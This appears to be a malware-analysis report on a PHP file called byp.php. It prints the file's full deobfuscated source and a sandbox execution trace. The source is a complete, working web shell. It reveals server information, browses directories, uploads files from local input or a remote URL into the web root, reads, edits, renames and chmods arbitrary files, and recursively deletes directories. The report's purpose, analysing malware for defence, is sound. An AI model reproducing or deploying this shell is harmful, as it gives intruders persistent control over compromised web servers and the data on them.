PHP Malware Analysis

byp.php

md5: 570fe3197ed1ef4605067f8adde67452

Jump to:

Screenshot


Attributes

Environment

Files

Input

Title

URLs


Deobfuscated PHP code

<!DOCTYPE html>
<html>
<head>
	<title>.</title>
</head>
<body bgcolor="#1f1f1f" text="#ffffff">
<link href="" rel="stylesheet" type="text/css">
<style>
	@import url('https://fonts.googleapis.com/css?family=Dosis');
	@import url('https://fonts.googleapis.com/css?family=Bungee');
body {
	font-family: "Dosis", cursive;
	text-shadow:0px 0px 1px #757575;
}

#content tr:hover {
	background-color: #636263;
	text-shadow:0px 0px 10px #fff;
}

#content .first {
	background-color: #25383C;
}

#content .first:hover {
	background-color: #25383C
	text-shadow:0px 0px 1px #757575;
}

table {
	border: 1px #000000 dotted;
	table-layout: fixed;
}

td {
	word-wrap: break-word;
}

a {
	color: #ffffff;
	text-decoration: none;
}

a:hover {
	color: #000000;
	text-shadow:0px 0px 10px #ffffff;
}

input,select,textarea {
	border: 1px #000000 solid;
	-moz-border-radius: 5px;
	-webkit-border-radius:5px;
	border-radius:5px;
}

.gas {
	background-color: #1f1f1f;
	color: #ffffff;
	cursor: pointer;
}

select {
	background-color: transparent;
	color: #ffffff;
}

select:after {
	cursor: pointer;
}

.linka {
	background-color: transparent;
	color: #ffffff;
}

.up {
	background-color: transparent;
	color: #fff;
}

option {
	background-color: #1f1f1f;
}

::-webkit-file-upload-button {
  background: transparent;
  color: #fff;
  border-color: #fff;
  cursor: pointer;
}
</style>
<center>
<font face="Bungee" size="5">KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY</font></center>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>
<?php 
set_time_limit(0);
error_reporting(0);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
    $disf = "<font color='gold'>NONE</font>";
} else {
    $disf = "<font color='red'>" . $disfunc . "</font>";
}
function author()
{
    echo "<center><br>Anon7 - 2021</center>";
    exit;
}
function cekdir()
{
    if (isset($_GET['path'])) {
        $lokasi = $_GET['path'];
    } else {
        $lokasi = getcwd();
    }
    if (is_writable($lokasi)) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function cekroot()
{
    if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
        return "<font color='green'>Writeable</font>";
    } else {
        return "<font color='red'>Writeable</font>";
    }
}
function xrmdir($dir)
{
    $items = scandir($dir);
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            xrmdir($path);
        } else {
            unlink($path);
        }
    }
    rmdir($dir);
}
function green($text)
{
    echo "<center><font color='green'>" . $text . "</center></font>";
}
function red($text)
{
    echo "<center><font color='red'>" . $text . "</center></font>";
}
echo "Server : <font color='gold'>" . $_SERVER['SERVER_SOFTWARE'] . "</font><br>";
echo "System : <font color='gold'>" . php_uname() . "</font><br>";
echo "User : <font color='gold'>" . @get_current_user() . "&nbsp;</font>( <font color='gold'>" . @getmyuid() . "</font>)<br>";
echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>";
echo "Disable Function : " . $disf . "</font><br>";
echo "Directory : &nbsp;";
foreach ($_POST as $key => $value) {
    $_POST[$key] = stripslashes($value);
}
if (isset($_GET['path'])) {
    $lokasi = $_GET['path'];
    $lokdua = $_GET['path'];
} else {
    $lokasi = getcwd();
    $lokdua = getcwd();
}
$lokasi = str_replace('\\', '/', $lokasi);
$lokasis = explode('/', $lokasi);
$lokasinya = @scandir($lokasi);
foreach ($lokasis as $id => $lok) {
    if ($lok == '' && $id == 0) {
        $a = true;
        echo "<a href=\"?path=/\">/</a>";
        continue;
    }
    if ($lok == '') {
        continue;
    }
    echo "<a href=\"?path=";
    for ($i = 0; $i <= $id; $i++) {
        echo "{$lokasis[$i]}";
        if ($i != $id) {
            echo "/";
        }
    }
    echo '">' . $lok . '</a>/';
}
echo "</td></tr><tr><td><br>";
if (isset($_POST['upwkwk'])) {
    if (isset($_POST['berkasnya'])) {
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_FILES['berkas']['name'], @file_get_contents($_FILES['berkas']['tmp_name']));
        if (file_exists($lokasi . "/" . $_FILES['berkas']['name'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_FILES['berkas']['name'] . "</i></font><br><br>";
        } else {
            echo "<font color='red'>Failed to Upload !<br><br>";
        }
    } elseif (isset($_POST['linknya'])) {
        if (empty($_POST['namalink'])) {
            exit("Filename cannot be empty !");
        }
        if ($_POST['dirnya'] == "2") {
            $lokasi = $_SERVER['DOCUMENT_ROOT'];
        }
        $data = @file_put_contents($lokasi . "/" . $_POST['namalink'], @file_get_contents($_POST['darilink']));
        if (file_exists($lokasi . "/" . $_POST['namalink'])) {
            echo "File Uploaded ! &nbsp;<font color='gold'><i>" . $lokasi . "/" . $_POST['namalink'] . "</i></font><br><br>";
        } else {
            echo "<font coloe='red'>Failed to Upload !<br><br>";
        }
    }
}
echo "Upload File : ";
echo '<form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ ' . cekdir() . ' ]
<input type="radio" value="2" name="dirnya" >document_root [ ' . cekroot() . ' ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://anon7.xyz/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form>';
echo "</table><br>";
if (isset($_GET['fileloc'])) {
    echo "<tr><td>Current File : " . $_GET['fileloc'];
    echo "</tr></td></table><br/>";
    echo "<pre>" . htmlspecialchars(file_get_contents($_GET['fileloc'])) . "</pre>";
    author();
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "hapus") {
    if (is_dir($_POST['path'])) {
        xrmdir($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to delete Directory !");
        } else {
            green("Delete Directory Success !");
            echo "string";
        }
    } elseif (is_file($_POST['path'])) {
        @unlink($_POST['path']);
        if (file_exists($_POST['path'])) {
            red("Failed to Delete File !");
        } else {
            green("Delete File Success !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") {
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
	Permission : <input name="perm" type="text" class="up" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="ubahmod">
	<input type="submit" value="Change" name="chm0d" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
    if (isset($_POST['chm0d'])) {
        $cm = @chmod($_POST['path'], $_POST['perm']);
        if ($cm == true) {
            green("Change Mod Success !");
        } else {
            red("Change Mod Failed !");
        }
    }
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "gantinama") {
    if (isset($_POST['gantin'])) {
        $ren = @rename($_POST['path'], $_POST['newname']);
        if ($ren == true) {
            green("Change Name Success !");
        } else {
            red("Change Name Failed !");
        }
    }
    if (empty($_POST['name'])) {
        $namaawal = $_POST['newname'];
    } else {
        $namawal = $_POST['name'];
    }
    echo "<center>" . $_POST['path'] . "<br>";
    echo '<form method="post">
	New Name : <input name="newname" type="text" class="up" size="20" value="' . $namaawal . '" />
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="gantinama">
	<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
	</form>';
} elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") {
    if (isset($_POST['gasedit'])) {
        $edit = @file_put_contents($_POST['path'], $_POST['src']);
        if ($edit == true) {
            green("Edit File Success !");
        } else {
            red("Edit File Failed !");
        }
    }
    echo "<center>" . $_POST['path'] . "<br><br>";
    echo '<form method="post">
	<textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br>
	<input type="hidden" name="path" value="' . $_POST['path'] . '">
	<input type="hidden" name="pilih" value="edit">
	<input type="submit" value="Edit File" name="gasedit" />
	</form><br>';
}
echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\r\n<tr class=\"first\">\r\n<td><center>Name</center></td>\r\n<td><center>Size</center></td>\r\n<td><center>Permissions</center></td>\r\n<td><center>Options</center></td>\r\n</tr>";
foreach ($lokasinya as $dir) {
    if (!is_dir($lokasi . "/" . $dir) || $dir == '.' || $dir == '..') {
        continue;
    }
    echo "<tr>\r\n\t<td><a href=\"?path=" . $lokasi . "/" . $dir . "\">" . $dir . "</a></td>\r\n\t<td><center>--</center></td>\r\n\t<td><center>";
    if (is_writable($lokasi . "/" . $dir)) {
        echo "<font color=\"green\">";
    } elseif (!is_readable($lokasi . "/" . $dir)) {
        echo "<font color=\"red\">";
    }
    echo statusnya($lokasi . "/" . $dir);
    if (is_writable($lokasi . "/" . $dir) || !is_readable($lokasi . "/" . $dir)) {
        echo "</font>";
    }
    echo "</center></td>\r\n\t<td><center><form method=\"POST\" action=\"?pilihan&path={$lokasi}\">\r\n\t<select name=\"pilih\">\r\n\t<option value=\"\"></option>\r\n\t<option value=\"hapus\">Delete</option>\r\n\t<option value=\"ubahmod\">Chm0d</option>\r\n\t<option value=\"gantinama\">Rename</option>\r\n\t</select>\r\n\t<input type=\"hidden\" name=\"type\" value=\"dir\">\r\n\t<input type=\"hidden\" name=\"name\" value=\"{$dir}\">\r\n\t<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$dir}\">\r\n\t<input type=\"submit\" class=\"gas\" value=\">\" />\r\n\t</form></center></td>\r\n\t</tr>";
}
echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
foreach ($lokasinya as $file) {
    if (!is_file("{$lokasi}/{$file}")) {
        continue;
    }
    $size = filesize("{$lokasi}/{$file}") / 1024;
    $size = round($size, 3);
    if ($size >= 1024) {
        $size = round($size / 1024, 2) . ' MB';
    } else {
        $size .= ' KB';
    }
    echo "<tr>\r\n<td><a href=\"?fileloc={$lokasi}/{$file}&path={$lokasi}\">{$file}</a></td>\r\n<td><center>" . $size . "</center></td>\r\n<td><center>";
    if (is_writable("{$lokasi}/{$file}")) {
        echo "<font color=\"green\">";
    } elseif (!is_readable("{$lokasi}/{$file}")) {
        echo "<font color=\"red\">";
    }
    echo statusnya("{$lokasi}/{$file}");
    if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) {
        echo "</font>";
    }
    echo "</center></td><td><center>\r\n<form method=\"post\" action=\"?pilihan&path={$lokasi}\">\r\n<select name=\"pilih\">\r\n<option value=\"\"></option>\r\n<option value=\"hapus\">Delete</option>\r\n<option value=\"ubahmod\">Chm0d</option>\r\n<option value=\"gantinama\">Rename</option>\r\n<option value=\"edit\">Edit</option>\r\n</select>\r\n<input type=\"hidden\" name=\"type\" value=\"file\">\r\n<input type=\"hidden\" name=\"name\" value=\"{$file}\">\r\n<input type=\"hidden\" name=\"path\" value=\"{$lokasi}/{$file}\">\r\n<input type=\"submit\" class=\"gas\" value=\">\" />\r\n</form></center></td>\r\n</tr>";
}
echo "</tr></td></table></table>";
author();
function statusnya($file)
{
    $statusnya = fileperms($file);
    if (($statusnya & 0xc000) == 0xc000) {
        // Socket
        $ingfo = 's';
    } elseif (($statusnya & 0xa000) == 0xa000) {
        // Symbolic Link
        $ingfo = 'l';
    } elseif (($statusnya & 0x8000) == 0x8000) {
        // Regular
        $ingfo = '-';
    } elseif (($statusnya & 0x6000) == 0x6000) {
        // Block special
        $ingfo = 'b';
    } elseif (($statusnya & 0x4000) == 0x4000) {
        // Directory
        $ingfo = 'd';
    } elseif (($statusnya & 0x2000) == 0x2000) {
        // Character special
        $ingfo = 'c';
    } elseif (($statusnya & 0x1000) == 0x1000) {
        // FIFO pipe
        $ingfo = 'p';
    } else {
        // Unknown
        $ingfo = 'u';
    }
    // Owner
    $ingfo .= $statusnya & 0x100 ? 'r' : '-';
    $ingfo .= $statusnya & 0x80 ? 'w' : '-';
    $ingfo .= $statusnya & 0x40 ? $statusnya & 0x800 ? 's' : 'x' : ($statusnya & 0x800 ? 'S' : '-');
    // Group
    $ingfo .= $statusnya & 0x20 ? 'r' : '-';
    $ingfo .= $statusnya & 0x10 ? 'w' : '-';
    $ingfo .= $statusnya & 0x8 ? $statusnya & 0x400 ? 's' : 'x' : ($statusnya & 0x400 ? 'S' : '-');
    // World
    $ingfo .= $statusnya & 0x4 ? 'r' : '-';
    $ingfo .= $statusnya & 0x2 ? 'w' : '-';
    $ingfo .= $statusnya & 0x1 ? $statusnya & 0x200 ? 't' : 'x' : ($statusnya & 0x200 ? 'T' : '-');
    return $ingfo;
}
?>


Execution traces

data/traces/570fe3197ed1ef4605067f8adde67452_trace-1676241848.7284.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:44:34.626218]
1	0	1	0.000166	393512
1	3	0	0.000667	469872	{main}	1		/var/www/html/uploads/byp.php	0	0
2	4	0	0.000690	469872	set_time_limit	0		/var/www/html/uploads/byp.php	97	1	0
2	4	1	0.000712	469936
2	4	R			FALSE
2	5	0	0.000730	469904	error_reporting	0		/var/www/html/uploads/byp.php	98	1	0
2	5	1	0.000748	469944
2	5	R			22527
2	6	0	0.000765	469904	ini_get	0		/var/www/html/uploads/byp.php	100	1	'disable_functions'
2	6	1	0.000784	470384
2	6	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/byp.php	100	$disfunc = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
1		A						/var/www/html/uploads/byp.php	104	$disf = '<font color=\'red\'>pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,</font>'
2	7	0	0.000879	470800	php_uname	0		/var/www/html/uploads/byp.php	158	0
2	7	1	0.000897	470912
2	7	R			'Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64'
2	8	0	0.000922	470800	get_current_user	0		/var/www/html/uploads/byp.php	159	0
2	8	1	0.000967	470840
2	8	R			'osboxes'
2	9	0	0.000986	470904	getmyuid	0		/var/www/html/uploads/byp.php	159	0
2	9	1	0.001001	470904
2	9	R			1000
2	10	0	0.001019	470808	phpversion	0		/var/www/html/uploads/byp.php	160	0
2	10	1	0.001034	470872
2	10	R			'7.2.34-37+ubuntu22.04.1+deb.sury.org+1'
2	11	0	0.001056	470808	getcwd	0		/var/www/html/uploads/byp.php	172	0
2	11	1	0.001073	470856
2	11	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/byp.php	172	$lokasi = '/var/www/html/uploads'
2	12	0	0.001107	470856	getcwd	0		/var/www/html/uploads/byp.php	173	0
2	12	1	0.001123	470904
2	12	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/byp.php	173	$lokdua = '/var/www/html/uploads'
2	13	0	0.001156	470904	str_replace	0		/var/www/html/uploads/byp.php	176	3	'\\'	'/'	'/var/www/html/uploads'
2	13	1	0.001175	471000
2	13	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/byp.php	176	$lokasi = '/var/www/html/uploads'
2	14	0	0.001216	470904	explode	0		/var/www/html/uploads/byp.php	177	2	'/'	'/var/www/html/uploads'
2	14	1	0.001235	471480
2	14	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
1		A						/var/www/html/uploads/byp.php	177	$lokasis = [0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
2	15	0	0.001278	471408	scandir	0		/var/www/html/uploads/byp.php	178	1	'/var/www/html/uploads'
2	15	1	0.001316	472024
2	15	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'byp.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/byp.php	178	$lokasinya = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'byp.php', 4 => 'data', 5 => 'prepend.php']
1		A						/var/www/html/uploads/byp.php	180	$id = 0
1		A						/var/www/html/uploads/byp.php	182	$a = TRUE
1		A						/var/www/html/uploads/byp.php	180	$id = 1
1		A						/var/www/html/uploads/byp.php	188	$i = 0
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	180	$id = 2
1		A						/var/www/html/uploads/byp.php	188	$i = 0
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	180	$id = 3
1		A						/var/www/html/uploads/byp.php	188	$i = 0
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	180	$id = 4
1		A						/var/www/html/uploads/byp.php	188	$i = 0
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
1		A						/var/www/html/uploads/byp.php	188	$i++
2	16	0	0.001639	471992	cekdir	1		/var/www/html/uploads/byp.php	225	0
3	17	0	0.001658	471992	getcwd	0		/var/www/html/uploads/byp.php	116	0
3	17	1	0.001741	472040
3	17	R			'/var/www/html/uploads'
2		A						/var/www/html/uploads/byp.php	116	$lokasi = '/var/www/html/uploads'
3	18	0	0.001780	472040	is_writable	0		/var/www/html/uploads/byp.php	118	1	'/var/www/html/uploads'
3	18	1	0.001803	472080
3	18	R			TRUE
2	16	1	0.001821	471992
2	16	R			'<font color=\'green\'>Writeable</font>'
2	19	0	0.001842	472248	cekroot	1		/var/www/html/uploads/byp.php	226	0
3	20	0	0.001858	472248	is_writable	0		/var/www/html/uploads/byp.php	126	1	'/var/www/html'
3	20	1	0.001877	472288
3	20	R			TRUE
2	19	1	0.001894	472248
2	19	R			'<font color=\'green\'>Writeable</font>'
2	21	0	0.001917	472040	is_dir	0		/var/www/html/uploads/byp.php	320	1	'/var/www/html/uploads/.'
2	21	1	0.001938	472104
2	21	R			TRUE
2	22	0	0.001956	472072	is_dir	0		/var/www/html/uploads/byp.php	320	1	'/var/www/html/uploads/..'
2	22	1	0.001974	472120
2	22	R			TRUE
2	23	0	0.001991	472080	is_dir	0		/var/www/html/uploads/byp.php	320	1	'/var/www/html/uploads/.htaccess'
2	23	1	0.002011	472120
2	23	R			FALSE
2	24	0	0.002028	472080	is_dir	0		/var/www/html/uploads/byp.php	320	1	'/var/www/html/uploads/byp.php'
2	24	1	0.002046	472120
2	24	R			FALSE
2	25	0	0.002063	472080	is_dir	0		/var/www/html/uploads/byp.php	320	1	'/var/www/html/uploads/data'
2	25	1	0.002082	472120
2	25	R			TRUE
2	26	0	0.002100	472080	is_writable	0		/var/www/html/uploads/byp.php	325	1	'/var/www/html/uploads/data'
2	26	1	0.002120	472120
2	26	R			TRUE
2	27	0	0.002138	472080	statusnya	1		/var/www/html/uploads/byp.php	327	1	'/var/www/html/uploads/data'
3	28	0	0.002154	472080	fileperms	0		/var/www/html/uploads/byp.php	385	1	'/var/www/html/uploads/data'
3	28	1	0.002171	472120
3	28	R			16895
2		A						/var/www/html/uploads/byp.php	385	$statusnya = 16895
2		A						/var/www/html/uploads/byp.php	402	$ingfo = 'd'
2		A						/var/www/html/uploads/byp.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byp.php	419	$ingfo .= 'x'
2		A						/var/www/html/uploads/byp.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	424	$ingfo .= 'w'
2		A						/var/www/html/uploads/byp.php	427	$ingfo .= 'x'
2		A						/var/www/html/uploads/byp.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	431	$ingfo .= 'w'
2		A						/var/www/html/uploads/byp.php	435	$ingfo .= 'x'
2	27	1	0.002332	472120
2	27	R			'drwxrwxrwx'
2	29	0	0.002351	472080	is_writable	0		/var/www/html/uploads/byp.php	328	1	'/var/www/html/uploads/data'
2	29	1	0.002372	472120
2	29	R			TRUE
2	30	0	0.002397	472200	is_dir	0		/var/www/html/uploads/byp.php	320	1	'/var/www/html/uploads/prepend.php'
2	30	1	0.002418	472248
2	30	R			FALSE
2	31	0	0.002436	472192	is_file	0		/var/www/html/uploads/byp.php	348	1	'/var/www/html/uploads/.'
2	31	1	0.002454	472216
2	31	R			FALSE
2	32	0	0.002471	472184	is_file	0		/var/www/html/uploads/byp.php	348	1	'/var/www/html/uploads/..'
2	32	1	0.002488	472232
2	32	R			FALSE
2	33	0	0.002505	472192	is_file	0		/var/www/html/uploads/byp.php	348	1	'/var/www/html/uploads/.htaccess'
2	33	1	0.002524	472232
2	33	R			TRUE
2	34	0	0.002541	472192	filesize	0		/var/www/html/uploads/byp.php	349	1	'/var/www/html/uploads/.htaccess'
2	34	1	0.002559	472232
2	34	R			64
1		A						/var/www/html/uploads/byp.php	349	$size = 0.0625
2	35	0	0.002591	472136	round	0		/var/www/html/uploads/byp.php	350	2	0.0625	3
2	35	1	0.002609	472208
2	35	R			0.063
1		A						/var/www/html/uploads/byp.php	350	$size = 0.063
1		A						/var/www/html/uploads/byp.php	354	$size = '0.063 KB'
2	36	0	0.002658	472232	is_writable	0		/var/www/html/uploads/byp.php	361	1	'/var/www/html/uploads/.htaccess'
2	36	1	0.002679	472272
2	36	R			FALSE
2	37	0	0.002697	472232	is_readable	0		/var/www/html/uploads/byp.php	362	1	'/var/www/html/uploads/.htaccess'
2	37	1	0.002717	472272
2	37	R			TRUE
2	38	0	0.002734	472232	statusnya	1		/var/www/html/uploads/byp.php	363	1	'/var/www/html/uploads/.htaccess'
3	39	0	0.002759	472232	fileperms	0		/var/www/html/uploads/byp.php	385	1	'/var/www/html/uploads/.htaccess'
3	39	1	0.002776	472272
3	39	R			33188
2		A						/var/www/html/uploads/byp.php	385	$statusnya = 33188
2		A						/var/www/html/uploads/byp.php	396	$ingfo = '-'
2		A						/var/www/html/uploads/byp.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byp.php	419	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	424	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	427	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	431	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	435	$ingfo .= '-'
2	38	1	0.002935	472272
2	38	R			'-rw-r--r--'
2	40	0	0.002954	472232	is_writable	0		/var/www/html/uploads/byp.php	364	1	'/var/www/html/uploads/.htaccess'
2	40	1	0.002975	472272
2	40	R			FALSE
2	41	0	0.002993	472232	is_readable	0		/var/www/html/uploads/byp.php	364	1	'/var/www/html/uploads/.htaccess'
2	41	1	0.003013	472272
2	41	R			TRUE
2	42	0	0.003030	472232	is_file	0		/var/www/html/uploads/byp.php	348	1	'/var/www/html/uploads/byp.php'
2	42	1	0.003049	472272
2	42	R			TRUE
2	43	0	0.003066	472232	filesize	0		/var/www/html/uploads/byp.php	349	1	'/var/www/html/uploads/byp.php'
2	43	1	0.003082	472272
2	43	R			12633
1		A						/var/www/html/uploads/byp.php	349	$size = 12.3369140625
2	44	0	0.003113	472136	round	0		/var/www/html/uploads/byp.php	350	2	12.3369140625	3
2	44	1	0.003130	472208
2	44	R			12.337
1		A						/var/www/html/uploads/byp.php	350	$size = 12.337
1		A						/var/www/html/uploads/byp.php	354	$size = '12.337 KB'
2	45	0	0.003177	472232	is_writable	0		/var/www/html/uploads/byp.php	361	1	'/var/www/html/uploads/byp.php'
2	45	1	0.003197	472272
2	45	R			FALSE
2	46	0	0.003214	472232	is_readable	0		/var/www/html/uploads/byp.php	362	1	'/var/www/html/uploads/byp.php'
2	46	1	0.003233	472272
2	46	R			TRUE
2	47	0	0.003250	472232	statusnya	1		/var/www/html/uploads/byp.php	363	1	'/var/www/html/uploads/byp.php'
3	48	0	0.003267	472232	fileperms	0		/var/www/html/uploads/byp.php	385	1	'/var/www/html/uploads/byp.php'
3	48	1	0.003283	472272
3	48	R			33204
2		A						/var/www/html/uploads/byp.php	385	$statusnya = 33204
2		A						/var/www/html/uploads/byp.php	396	$ingfo = '-'
2		A						/var/www/html/uploads/byp.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byp.php	419	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	424	$ingfo .= 'w'
2		A						/var/www/html/uploads/byp.php	427	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	431	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	435	$ingfo .= '-'
2	47	1	0.003440	472272
2	47	R			'-rw-rw-r--'
2	49	0	0.003459	472232	is_writable	0		/var/www/html/uploads/byp.php	364	1	'/var/www/html/uploads/byp.php'
2	49	1	0.003479	472272
2	49	R			FALSE
2	50	0	0.003496	472232	is_readable	0		/var/www/html/uploads/byp.php	364	1	'/var/www/html/uploads/byp.php'
2	50	1	0.003514	472272
2	50	R			TRUE
2	51	0	0.003532	472232	is_file	0		/var/www/html/uploads/byp.php	348	1	'/var/www/html/uploads/data'
2	51	1	0.003550	472272
2	51	R			FALSE
2	52	0	0.003567	472240	is_file	0		/var/www/html/uploads/byp.php	348	1	'/var/www/html/uploads/prepend.php'
2	52	1	0.003587	472288
2	52	R			TRUE
2	53	0	0.003604	472248	filesize	0		/var/www/html/uploads/byp.php	349	1	'/var/www/html/uploads/prepend.php'
2	53	1	0.003622	472288
2	53	R			57
1		A						/var/www/html/uploads/byp.php	349	$size = 0.0556640625
2	54	0	0.003653	472144	round	0		/var/www/html/uploads/byp.php	350	2	0.0556640625	3
2	54	1	0.003670	472216
2	54	R			0.056
1		A						/var/www/html/uploads/byp.php	350	$size = 0.056
1		A						/var/www/html/uploads/byp.php	354	$size = '0.056 KB'
2	55	0	0.003716	472248	is_writable	0		/var/www/html/uploads/byp.php	361	1	'/var/www/html/uploads/prepend.php'
2	55	1	0.003736	472288
2	55	R			FALSE
2	56	0	0.003758	472248	is_readable	0		/var/www/html/uploads/byp.php	362	1	'/var/www/html/uploads/prepend.php'
2	56	1	0.003778	472288
2	56	R			TRUE
2	57	0	0.003795	472248	statusnya	1		/var/www/html/uploads/byp.php	363	1	'/var/www/html/uploads/prepend.php'
3	58	0	0.003813	472248	fileperms	0		/var/www/html/uploads/byp.php	385	1	'/var/www/html/uploads/prepend.php'
3	58	1	0.003830	472288
3	58	R			33261
2		A						/var/www/html/uploads/byp.php	385	$statusnya = 33261
2		A						/var/www/html/uploads/byp.php	396	$ingfo = '-'
2		A						/var/www/html/uploads/byp.php	415	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	416	$ingfo .= 'w'
2		A						/var/www/html/uploads/byp.php	419	$ingfo .= 'x'
2		A						/var/www/html/uploads/byp.php	423	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	424	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	427	$ingfo .= 'x'
2		A						/var/www/html/uploads/byp.php	430	$ingfo .= 'r'
2		A						/var/www/html/uploads/byp.php	431	$ingfo .= '-'
2		A						/var/www/html/uploads/byp.php	435	$ingfo .= 'x'
2	57	1	0.003987	472288
2	57	R			'-rwxr-xr-x'
2	59	0	0.004006	472248	is_writable	0		/var/www/html/uploads/byp.php	364	1	'/var/www/html/uploads/prepend.php'
2	59	1	0.004028	472288
2	59	R			FALSE
2	60	0	0.004047	472248	is_readable	0		/var/www/html/uploads/byp.php	364	1	'/var/www/html/uploads/prepend.php'
